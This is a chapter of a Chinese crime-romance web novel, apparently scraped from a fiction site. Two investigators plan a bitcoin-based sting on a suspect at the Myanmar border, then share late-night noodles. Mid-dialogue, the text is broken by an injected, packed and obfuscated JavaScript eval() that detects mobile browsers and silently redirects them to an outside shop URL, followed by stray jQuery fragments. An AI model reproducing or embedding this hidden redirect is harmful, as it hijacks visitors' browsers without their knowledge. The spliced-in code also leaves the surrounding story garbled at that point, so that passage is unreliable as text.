文趣网 > 都市小说 > 两江经融事故[经侦] > 88.时差套利
    央行渝江分行监控中心的环形屏幕几乎占满整面墙。

    程叙白输入张恪的比特币钱包地址,刹那间,关联账户像蛛网般炸开满屏:

    【关联钱包1:支付画廊爆炸案雇佣兵】

    【关联钱包2:202X年昂山集团转账记录】

    【最新动态:48小时内三次失败的提现尝试】

    “他在急着凑钱。”程叙白指尖轻点那三条鲜红的失败记录,“昂山给的死线快到了。”

    江峙俯身靠近,阴影顿时笼罩了半边屏幕。他放大其中一条转账备注:

    【转账:0.1BTC】

    【备注:勐拉-0925-急】

    “这条和王德海身上的账本记号对上了。”江峙的声音沉了下去。

    两人对视一眼,同时转身快步朝门外走去。

    ……

    回到市局时,陈局已经等在会议室了。

    视频接通,云南西双版纳禁毒支队长岩罕的脸出现在屏幕上,背景还能隐约听到雨林深处的虫鸣。

    “我们线人刚传来消息,”岩罕的普通话带着浓重的傣乡口音,“张恪昨天剁了昂山一个马仔的手指。”

    他传过来的视频画面晃动模糊,但仍能看清张恪在赌场包厢里慢条斯理擦手的动作,白毛巾上晕开的血迹刺目惊心。

    程叙白迅速调出气象局实时数据:“下周一是缅甸雨季最后一场暴雨。”他指向卫星云图上盘旋的深红色气旋,“界河水位预计会暴涨三米。”

    “正是偷渡的好时机。”江峙接得飞快,眼睛亮得惊人,“张恪肯定会趁昂山的人看不住时,从水上溜过来。”

    窗外蝉鸣突然聒噪起来,知了们声嘶力竭齐声合唱,像在为这场即将到来的暴雨追捕,奏响躁动的序曲。

    会议室的灯光在深夜十点依然明亮如昼,将每个人的都照的无比疲惫。

    程叙白站在投影仪前,抓捕计划书在幕布上投下清晰显示出来:

    【阶段一:解锁50BTC额度,诱使张恪、金苟尝试提现】

    【阶段二:制造“系统故障”,迫使他亲自过境处理】

    【阶段三:云南警方在界河伏击】

    他手中的激光笔在资金监控权限处画了个红圈:“风险点在这儿。央行只能冻结境内账户,如果他在缅甸完成交易……”

    钱就像泼出去的水,再也收不回来了。

    “那就别让他完成交易。”江峙说着,把一张照片啪地甩在桌上。

    照片拍的是个脏兮兮的赌场后门,泥巴地上几道车轱辘印子又深又新。

    “整个小勐拉,能一口气吃下大额比特币的就那一家交易所。巧了,他们家备份数据的服务器,就放在云南境内。”

    主位上的陈局没说话,手指在桌面上不轻不重地敲了三下。熟悉他的人都明白,这是他下决心前的习惯。

    “按规矩来,走跨省协作的程序。”陈局的目光在屋里扫了一圈,最后钉在江峙脸上,特意加重了语气,“境外部分,只准提供情报支持,绝对不允许有任何行动,听明白了?”

    江峙像是早就等着这句话,直接把一厚沓文件推了过去,翻到的那一页上,盖着十几个红彤彤的公章。

    “程序早就走完了,就等您签字。”

    陈局的钢笔在“携带武器”那一栏上头顿住了,墨水滴聚在笔尖,将落未落。

    “云南那边……都协商好了?”

    “西双版纳禁毒的兄弟已经盯了他一年了。”江峙点亮平板,屏幕上立刻跳出张恪在赌场包间里数钱的嚣张画面,“但这小子比泥鳅还滑,不给他下点猛药,他不会露头。”

    一直没作声的程叙白这时默默递上另一份文件,纸面上央行大印的油墨似乎还没干透。

    “云南已经协调好了,资金一旦异动,他们那边能立刻锁定。”

    陈局没再犹豫,钢笔落下,签字的“沙沙”声在安静的会议室里很清楚。

    签完最后一个名字,他抬起头,眼神刮过江峙:“都给我记牢了,你们过去,只有眼睛,没有手。”

    “是!”

    会开完了,人都往外走,陈局却单独把江峙叫住了。

    “你,留一下。”

    等江峙忙完冲出会议室时,身后还有陈局的话音追出来,走廊的感应灯已经次第熄灭再亮起。

    消防通道里,他的作战靴在楼梯上发出急促的声响。

    停车场B区,红旗H9+的尾灯刚刚亮起。

    江峙一个箭步挡在车前,引擎盖被手掌拍出闷响。

    车窗降下,程叙白的脸在仪表盘蓝光中非常苍白。

    “怎么了?”他的声音里带着疲惫的沙哑。

    江峙拉开车门的动作带进一阵夜风,安全带扣入卡槽的声音干脆利落。

    “没什么,突然想吃牛肉面了。”

    程叙白瞥了眼时钟:23:40,他沉默地调转车头。

    导航屏幕上,熟悉的路线图第十几次亮起,是通往两江新区一家24小时面馆的路。

    “行动两小时后开始。”江峙降下车窗,夜风裹挟着嘉陵江的水汽涌进车内,带着夏夜的潮湿气息。

    程叙白的食指在方向盘上轻叩了下作为回应:“我知道。”

    路灯的光影在车内流转,两人的面容在明暗交错间显得有些不真实。

    “昨天晚上,”江峙忽然开口,声音几乎被引擎声中几乎听不清楚,“老孟媳妇走了。”

    车速从60码缓缓降到40。

    程叙白的指节在方向盘上微微收紧:“生病?”

    “嗯。”江峙的侧脸被路过的霓虹灯染成红色又褪去,“癌症晚期,她自己放弃治疗了。”

    车载空调的出风口发出轻微的呼呼。

    程叙白看着前方空荡的马路:“他女儿呢?”

    “被舅舅接走了。”江峙摸出烟盒又塞回去,掏了一个口香糖咬在嘴里,“去了广东。”

    程叙白用余光看见江峙的右手正下意识地摩挲左肩伤疤。

    “也好。”他轻声说。

    老孟父母前两年也病逝了,家里那些亲戚……说实话,把孩子寄养在那里,未必就安全。

    舅舅虽然远在广东,但至少对姐姐的遗孤会多几分真心,尤其那孩子才不过五岁,有亲人陪伴是最好。

    车在红灯前缓缓停下,程叙白转头看向窗外。

    夜色中的渝江依旧灯火璀璨,却照不进每个人心里的角落。

    有些伤痛只能交给时间,而现在,他们还有更要紧的事要做。

    ……

    江峙推开面馆玻璃门时,悬挂在门上的铜制风铃发出悦耳的碰撞声。

    进去后他直奔窗口,熟稔地靠在发着油光的取餐台前,用带着磁性的方言和老板娘寒暄,眼角笑纹在顶灯照射下特明显,仿佛方才车上那段沉重的对话从未发生过。

    不一会儿,他端着面从窄过道里走来,身姿依旧挺拔如松。仔细看去,他手肘微微内收,小臂和手腕形成一个稳定的三角。

    那是常年握枪养成的肌肉记忆,端一碗面都像握着配枪一样。

    面碗“哐当”一声轻落在桌上。他食指很自然地在碗沿轻轻一叩,这是后来才养成的习惯,试温度用的。

    早年他可没这些讲究,烫也好凉也罢,能吃就行。

    现在不行了,现在有人不能吃太烫,也不能吃太凉,不温不热……更不行。

    清汤面上卧着一枚煎得恰到好处的荷包蛋,边缘焦脆蛋白凝固,轻轻一碰,里头金黄的溏心就缓缓淌出。

    而他自己那碗肥肠面红油荡漾,辣椒碎闪烁着,如同弹壳里洒出的火药颗粒似的,看着都嘴疼。

    程叙白注视着江峙用拇指和食指捏住一次性筷子的中段,这个特殊角度能最大限度避免木刺伤手。

    他刮磨筷身的动作带着的粗糙劲,每一道刮痕都沿着木纹的走向发力,不像在准备吃饭,倒像在捯饬什么工具。

    当那双被处理得光滑溜的筷子递过来时,程叙白注意到江峙的指甲剪得圆润整齐,甲缘还留着上次现场勘查时被矿机砸出的青紫。

    这些细枝末节,程叙白都记得清清楚楚,跟刻在脑子里似的。

    江峙这人习惯很固定,总是先左手挪碗,右手才递筷子,面条上桌总要等个十几秒,等最烫的那股热气散掉。

    喝汤时喉结滚动的节奏都保持着一贯的野性……

    蒸腾的热气里,程叙白的睫毛轻轻动了动。

    他想起江峙第一次带他来这家店时,还需要特意询问他吃不吃香菜小葱,甚至错把不吃花椒记成不吃胡椒。

    而现在,对方连他偏好青菜焯水微妙口感都记得分毫不差。这种悄无声息的透,比任何金融算法都更难防御。

    程叙白挑起一筷子面条,眼镜片上瞬间蒙了层白雾。

    “注意安全。”

    江峙的筷子在半空中一顿,随后又绽放出灿烂的笑容。

    “程老师这是关心我?”他凑近几分,压低的声音里带着藏不住的雀跃,“放心,我肯定全须全尾地回来见你。”

    程叙白用食指推了推起雾的眼镜,镜片后眼睛弯了弯。

    “我相信你。”短暂的停顿后,他又补充道,“毕竟你还欠我三顿饭呢。”

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776925|205563||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就这?”江峙夸张地捂住心口,做出一副受伤的表情,“我还以为程老师是被我的魅力征服了呢!”

    他笑得肩膀直抖,差点碰倒桌上的辣椒罐。

    “不是魅力问题。”程叙白淡定地夹起一片翠绿的青菜,“因为你是江峙,唯一能用火锅底料密码破案的经侦队长。”

    他说得特别理所当然,跟陈述一加一等于二似的。

    江峙耳根子唰地红了,他猛地低头扒拉面条,差点把整张脸埋进面碗里。

    “吃、吃你的面!”他含糊不清地说着,辣得直抽气,额头都冒汗了。

    程叙白看着他发顶翘起的那撮不听话的头发,嘴角不自觉地上扬。

    他摘下眼镜放在一旁,低头时额前的碎发垂落,在碗沿投下细碎的阴影,恰好遮住了眼中一闪而过的温柔。

    不到三分钟,江峙的碗就见了底。他扯过纸巾胡乱擦了擦嘴,喉结上还沾着一些细汗。

    “有事就call老王。”江峙指节在油腻的桌面上敲着,“虽然王德海凉了,但他背后可不止一条大鱼。”

    “嗯。”程叙白小口啜饮着面汤。

    汤面上漂浮的葱花随着他的呼吸轻轻颤动,如同深水之下无声流动的暗涌,表面平静,却藏着看不见的波动。

    江峙的目光则紧紧追随着程叙白的筷子,直到最后一片青菜被夹起,消失在他唇间。

    他抢过对方手中的纸巾,指尖状似不经意地擦过那截白皙的手腕:“走吧,送你到楼下。”

    “……好。”

    程叙白本想想拒绝,话到嘴边又咽了回去,最后只化成一声听不见的叹气。

    他看见江峙眼里那点得逞的笑,就跟之前在食堂抢他咖啡喝的时候一模一样。

    车在长嘉汇公寓楼下停稳,程叙白下了车,头也不回地进了单元门。

    江峙没急着走,他靠在车门边点了根烟,抬头看着那间原本漆黑的客厅亮起暖黄的灯。

    他抽完最后一口,才把烟头摁灭,转身拉开车门坐进副驾。

    夜风从嘉陵江上吹过来,带着湿漉漉的凉意,把他头发吹得乱七八糟,也把他那句含在嘴里没吐出来的“等我回来”给吹散了。

    手机屏幕亮了起来,锁屏壁纸是只……正在看K线图的孔雀。

    那孔雀架着副金丝眼镜,一脸严肃,面前三块曲面屏。

    它的尾羽漂亮得跟星河似的,铺满了整张人体工学椅。旁边的办公桌上放了杯咖啡,奶泡拉花拉得那叫一个精致,杯子上还印着小小的“央行金融”四个字。

    “去机场。”江峙对旁边的人说。

    他拇指在屏幕上划拉着,点开那个加了密的叫“HuShangPeacock”的相册。

    里头存的照片,就跟经过混币器洗过的交易记录似的,零零碎碎,但指向明确。

    有穿黑西装的孔雀开着视频会议,尾羽在墙上投出分时走势图的……

    有穿白西装的孔雀在市局会议室,用爪子翻他那本《跨境资本流动监管白皮书》,书页边还沾着点羽毛痕迹的……

    还有穿灰西装的孔雀在鼓捣咖啡机,胸前羽毛沾了咖啡渍的……

    甚至还有一张,是穿着银色西装的孔雀站在两江汇俱乐部泳池边,水里的倒影愣是被P成了外滩的轮廓。

    每张照片右下角都标着准确到秒的时间,跟某人每次加班到凌晨的打卡记录、还有当天穿的衣服,全对得上。

    警车开过千厮门大桥,江峙又点开另一个叫“矿机日志”的相册。

    这里头存的,是这半年来他俩每次一起熬夜吃东西时,他偷偷攒下的证据。

    两碗牛肉面冒出的热气,在镜头前缠成了DNA双螺旋。

    两人并排放着的筷子,摆得跟平行线一样标准。

    程叙白摘眼镜时,在镜片上留下的指纹特写。

    他甚至无聊到数过程叙白每次碗里会剩下几根青菜……

    这些零零散散的画面,就像经过CoinJoin混币的比特币交易,看起来杂乱无章,只有江峙自己手里握着那把能理清头绪的私钥。

    屏幕暗下去,机舱里也跟着陷入黑暗。

    江峙用拇指摩挲着手机边缘。

    规定是死的,刑侦人员的电子设备里不能存人脸照片,可警规里又没说不让研究孔雀的羽毛是什么颜色,对吧?

    舷窗外,灯火像区块链上的节点,明灭闪烁。

    飞机猛地向上,冲进了云层。

    在屏幕彻底变黑前,江峙最后瞥了一眼锁屏。

    那只工作狂孔雀的眼镜片上,有一个小小的、不仔细看根本发现不了的人影。